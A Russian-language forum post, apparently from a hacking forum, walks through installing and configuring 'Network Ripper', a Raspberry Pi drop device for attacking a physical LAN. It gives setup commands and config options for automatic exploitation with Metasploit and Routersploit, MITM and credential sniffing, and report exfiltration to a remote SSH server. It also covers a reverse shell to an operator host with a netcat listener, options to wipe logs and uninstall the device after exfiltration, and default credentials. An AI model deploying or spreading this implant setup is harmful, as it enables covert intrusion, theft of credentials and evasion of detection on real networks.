Network Ripper - делаем устройство для автоматического пентеста локальной сети из Raspberry Pi

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
1. Идея
  • Благодарность
  • Как мне это пришло в голову?
  • Актуальность NR
  • Функции прошивки

2. Установка
  • Подготовка Raspberry Pi
  • Установка installer-a

3. Настройка и запуск
  • Настройка системы через config.ini
  • Запуск скриптов
  • Получение репорта
  • Удаленное подключение к Network Ripper

4. Расмотрим скрипты поближе
  • Как работает установщик
  • Разбор скриптов “Information Gathering”
  • Разбор скриптов “Attack”
  • Разбор скриптов “Sniff”
  • Разбор главного скрипта “Start”
  • Разбор скрипта для отсылки репорта

5. Итоги

Network Ripper (NR) – прошивка для устройства Raspberry Pi, для автоматизации пентеста физической локальной сети по принципу INPT.

Идея
Благодарность
Хочу выявить большую благодарность всем своим фанатам, подписчикам, донатерам, коллегам.
Особенно выражаю большую благодарность: admin, bratva, IIIIXX,
yashechka , yellow, Xin, cyberslae, D4nte, wut4n9, Kotiki, waahoo, FRG
Ваша поддержка очень важна для меня! Спасибо! (Если бы не вы, этого проекта и не было бы.)
Ваши донаты, помогают мне покупать новые железки, и делать с ними крутые вещи!

Как мне это пришло в голову?
При долгом заказе по пентесту физической локалки в офисе, я задумался… а нахер мне такая работа? Сидеть в долбаном офисе по 7-8 часов и пробегаться метасплоиом по открытых портах на айпишках? А это же еще надо просканировать) а если сеть имеет в себе еще несколько подсетей? Тогда тестирование затягивается еще до нескольких дней.

Тогда я задумался над написанием небольшого скриптика на питоне, который будет автоматически сканировать все подсети, и потом найденные в них айпишки. После этого, я подумал – а если автоматизировать ВЕСЬ процесс тестирования сети? Сканирование, брут, использование эксплоитов, сниффинг траффика, проведение MITM атаки.
Так и появилась эта идея, запустить скрипты автоматизации на маленьком удобном мини пк – Raspberry Pi.

Актуальность NR
Проект является актуальным для тестирования на безопасность локальной сети, и устройств внутри нее.
Прошивка ставится поверх ОС Kali Linux. То есть на малину мы ставим Kali, а на Kali инсталлер NR.

Скрипты написаны на языке программирования python. Прошивка является Open-source проектом, это значит что прошивку можно кастоматизировать под себя.
В прошивке используются последние версии инструментов. Также большая часть инструментов, расположена в официальном репозитории Kali Linux.
Устройство удобно при использовании в кейсах физического пентеста, подрубил малину к повербанку, подрубил через ethernet к свитчу/роутеру, и ждешь репорта на своем ssh сервере.

Функции прошивки
Основные функции:
  • Создание рабочего пользователя Ripper с домашним каталогом
  • Ожидание подключения Raspberry Pi к сети (После подключения Raspberry Pi к сети, она начинает работу)
  • Полная настройка атак и алгоритма действий
  • Возможен выбор сетевого адаптера для работы
Удаленный доступ к консоли NR:
  • Доступ через SSH
  • Интерактивный Reverse Shell
  • Полная настройка Reverse Shell-a (IP:port для коннекта, таймаут)
Information Gathering:
  • Сканирование сети (активные IP адреса в сети, OS, открытые порты, информация об MAC, версии служб)
  • Перехват сетевых протоколов mndp lldp cdp ospf vrrp llmnr (В пакетах содержится информация об сети и сетевом оборудовании)
  • Сохранение репорта с информацией в тхт и json файл
Attacks:
  • Автоматическое использование популярных эксплоитов на устройствах в сети (Эксплоиты подбираются исходя от содержимого Json файла)
  • Автоматическая Autopwn атака на устройства в сети, используя инструмент Network Ripper
  • Сохранение репорта с информацией об уязвимостях
Sniff:
  • Перехват сетевого траффика с помощью инструмента Tshark
  • Проведение MITM атаки и сохранение перехваченной информации в тхт файл
Сохранение и отсылка репорта:
  • Сохранение всех репортов в папку Report
  • Отсылка архива Report на удаленный SSH сервер
  • Очистка логов на Raspberry Pi после отсылки репорта
  • Удаление прошивки Network Ripper после отсылки репорта
(Все параметры, включение/выключение функций можно редактировать через файл local_config.ini)


Ну что друзья, начнем?
https://soundcloud.com/wearekloud%2Fblack

Установка
Подготовка Raspberry Pi
Для прошивки Network Ripper нам подойдет Raspberry Pi таких версий:
  • Raspberry Pi 3 Model B
  • Raspberry Pi 3 Model B+
  • Raspberry Pi 4 Model B
  • Raspberry Pi 5
Я все тестировал на Raspberry Pi 3 Model B, но вам советую работать на Raspberry Pi 4 Model B.

После выбора платы, установим на нее ОС Kali Linux.

1. Скачиваем ARM образ Kali Linux для нашей железки: https://www.kali.org/get-kali/#kali-arm
1698695023009.png



2. Скачиваем Raspberry Pi imager: https://www.raspberrypi.com/software/
1698695055877.png



3. Теперь нам нужна micro SD карта, на которую мы установим ОС, а также переходник для карты, чтобы подключить ее к тачке.
После подключения SD карты к пк, запускаем Raspberry Pi imager.

4. Выбираем скачанный .img образ Kali Linux

5. Выбираем micro SD карту

6. Нажимаем “Записать”
1698695133055.png



7. После завершения записи образа на micro SD карту, вставляем ее в малину.

8. Дальше подключаем к малине монитор, клавиатуру, мышку и подаем на нее питание.

Немного подождав, мы увидим начальный экран Kali, это значит что половина пути пройдена!

Установка installer-a
Перед установкой инсталлера, обновим пакеты системы и установим нужные зависимости для запуска инсталлера.

1. Обновляем системные пакеты:
Код: Скопировать в буфер обмена
sudo apt-get upgrade && apt-get update
2. Устанавливаем python:
Код: Скопировать в буфер обмена
sudo apt install python3

Перейдем к установке Installer-a!

3. Скачиваем установщик:
Код: Скопировать в буфер обмена
git clone https://github.com/Netw0rkR1pper/NR_Installer.git
4. Переходим в директорию установщика:
Код: Скопировать в буфер обмена
cd installer
5. Устанавливаем зависимости:
Код: Скопировать в буфер обмена
pip install -r requirements.txt

<Перед запуском убедитесь что ваша система полностью чиста, без созданных новых юзеров и установленных левых инструментов/зависимостей>

Запускаем установщик:
Код: Скопировать в буфер обмена
sudo python install.py
1698695244823.png



Мы понимаем что важные данные на системе будут стерты, и подтверждаем установку еще раз.
1698695267038.png



После установки соглашаемся на перезагрузку:
1698695317645.png



Теперь у нас все готово для работы! Для того чтобы начать использовать прошивку, залогиньтесь в системе или через ssh с кредами Ripper:root

В домашнем каталоге юзера Ripper вы найдете рабочую директорию Network_Ripper

https://soundcloud.com/wearekloud%2Fvoid

Настройка и запуск
Настройка системы через config.ini
Прошивка Network Ripper имеет возможность заранее настроить алгоритм действий и атак.
Для настройки, будем редактировать файл в директории Network_Ripper с названием local_config.ini

Что можно настраивать/изменять:
  • used_interface: Используемый сетевой интерфейс (по умолчанию eth0).
  • network_scan: Включение/отключение скрипта для сканирования сети (true/false).
  • protocols_parsing: Включение/отключение разбора протоколов, таких как MNDP, LLDP, CDP, OSPF, VRRP, LLMNR (true/false).
  • routersploit_autopwn: Включение/отключение автоматической атаки Routersploit (true/false).
  • metasploit_autopwn: Включение/отключение автоматической атаки Metasploit (true/false).
  • tshark_traffic_sniffing: Включение/отключение перехвата трафика с использованием tshark (true/false).
  • tshark_traffic_capture_time: Время захвата трафика с использованием tshark в секундах (по умолчанию 60).
  • credslayer_traffic_sniffing: Включение/отключение перехвата трафика CredsLayer (true/false).
  • credslayer_traffic_capture_time: Время захвата трафика CredsLayer в секундах (по умолчанию 60).
  • send_report_to_ssh_server: Включение/отключение отправки отчета на SSH-сервер (true/false).
  • report_ssh_server_creds: Учетные данные SSH-сервера для отправки отчета в формате "IP:Login:pass" (по умолчанию "192.168.187.131:kali:kali").
  • clear_logs_after_sending_report: Очистка журналов после отправки отчета (true/false).
  • uninstall_network_ripper_after_sending_report: Удаление программы Network Ripper после отправки отчета (true/false).
  • bind_ssh_shell: Включение/отключение привязки SSH-оболочки к Network Ripper (true/false).
  • back_connect_shell: Включение/отключение обратного подключения из Network Ripper (true/false).
  • back_connect_shell_ip: IP-адрес для обратного подключения (по умолчанию "192.168.187.131").
  • back_connect_shell_port: Порт для обратного подключения (по умолчанию 1337).
  • back_connect_shell_timeout: Таймаут для обратного подключения (по умолчанию 2 секунды).
  • report_path: Пути для сохранения отчетов и журналов:
  • base_path: Базовый путь для отчетов (по умолчанию "./report").
  • log_path: Путь для журналов (по умолчанию "./report/log").
  • attacks_path: Путь для записи информации о атаках (по умолчанию "./report/Attacks").
  • network_information_path: Путь для записи информации о сети (по умолчанию "./report/Network_Information").
  • sniff_path: Путь для записи перехваченного трафика (по умолчанию "./report/Sniff").
Для настройки системы, откроем файл local_config.ini с помощью текстового редактора:
1698697328482.png



И изменяем значения, они могут быть такого типа:
  • true/false
  • <IP> (например: 192.168.88.56)
  • <IP:Login:pass> (например: 192.168.88.56:root:root)
  • <port> (например: 1337)
  • <interface> (например: eth0)
После изменения, сохраняем файл с новым содержимым.

Запуск скриптов
Для запуска атаки, запускаем файл start.py командой
Код: Скопировать в буфер обмена
sudo python start.py

Теперь, берем малину и подключаем по ethernet к роутеру/свичу. Устройство ожидает подключения по ethernet интерфейсу и после получения своего IP адреса в сети, начинает атаку.

Также после запуска файла, он автоматически будет запускать атаку и алгоритм действий через системный автозапуск.

После запуска файла, все действия/сканирования/атаки, будут проведены автоматически. Теперь после подачи питания на малину, и подключения к сети через ethernet, алгоритм действий будет автоматически отработан.

Получение репорта
После отработки скриптов, репорт сохраняется в папку Report.

У нас есть два способа как его получить:
  • По дефолту все данные сохраняются в папку report, там в иерархическом порядке находятся файлы с полученной информацией от скриптов.
  • Можно заранее настроить в local_config.ini отсылку папки report на удаленный ssh сервер. Для этого, включите эту функцию в конфиг-файле и впишите креды к удаленному ssh серверу в формате IP:Login:pass
Пример директории с информацией:
1698697419550.png



Для отсылки репорта на удаленный SSH сервер, выполните эти действия:

  • Поднимите SSH сервер на устройстве, на которое должен прилететь репорт
  • Перед запуском скрипта, при настройке системы, в конфиг файле поставьте такие значения:
1698697451830.png


  • (замените на IP:Login:pass своего устройства с SSH сервером)
  • Сохраните конфиг файл, и запускайте стартовый скрипт. После отработки скриптов, на ваш SSH сервер должен прилететь архив Report.zip
Удаленное подключение к Network Ripper
Прошивка имеет два вида подключения:
  • SSH bind shell – доступ к системе Network Ripper через оболочку SSH
  • Netcat interactive shell –интерактивная оболочка Reverse shell для системы Network Ripper
(Функция удаленного подключения является очень удобной, так как можно удаленно подключится(даже за натом) к системе, и работать с ней.)


Настройка удаленного SSH доступа:
(По дефолту, сразу после запуска установщика NR, в системе включена функция доступа по SSH)
Для включения/выключения доступа по SSH, проредактируйте строчку в конфиг файле:
Код: Скопировать в буфер обмена
bind_ssh_shell = true/false
Креды для входа по SSH: Ripper:root
1698697571288.png



Настройка интерактивного Reverse shell:

(Reverse shell по дефолту выключен, он умеет работать в интерактивном режиме)

(Для подключения, на своей тачке делаем
Код: Скопировать в буфер обмена
nc -lvp 1337
или можно взять любой порт)

Для настройки, нам нужно сперва включить функцию Reverse shell доступа:

Код: Скопировать в буфер обмена
back_connect_shell = true

Теперь нам нужно настроить таймауты подключения, и IP/Port для коннекта:

Код: Скопировать в буфер обмена
back_connect_shell_ip = <IP нашей тачки>

Код: Скопировать в буфер обмена
back_connect_shell_port = <Открытый порт для реверс шелла, в нашем случае 1337>

Код: Скопировать в буфер обмена
back_connect_shell_timeout = 5 (Время указываем в минутах, значит каждых 5 минут, NR будет коннектится к нашей тачке)

Рассмотрим скрипты поближе
Детально рассмотрим работу и код скриптов системы Network Ripper.
Как я говорил ранее, все скрипты с открытым исходным кодом.

https://soundcloud.com/wearekloud%2Fkloud-synthetic

Как работает установщик
Скрипт для установки (install.py) вы сможете Скачать
View hidden content is available for registered users!
 
Сверху Снизу